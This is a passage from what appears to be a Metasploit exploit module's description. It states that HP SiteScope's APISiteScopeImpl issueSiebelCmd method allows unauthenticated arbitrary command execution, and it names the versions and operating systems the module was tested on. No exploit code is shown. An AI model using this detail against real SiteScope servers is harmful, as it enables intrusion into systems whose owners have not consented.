  'Description' => %q{
  This module exploits a code execution flaw in HP SiteScope. The vulnerability exists in the
  APISiteScopeImpl web service, specifically in the issueSiebelCmd method, which allows the
  user to execute arbitrary commands without authentication. This module has been tested
  successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 2008 and CentOS 6.5.
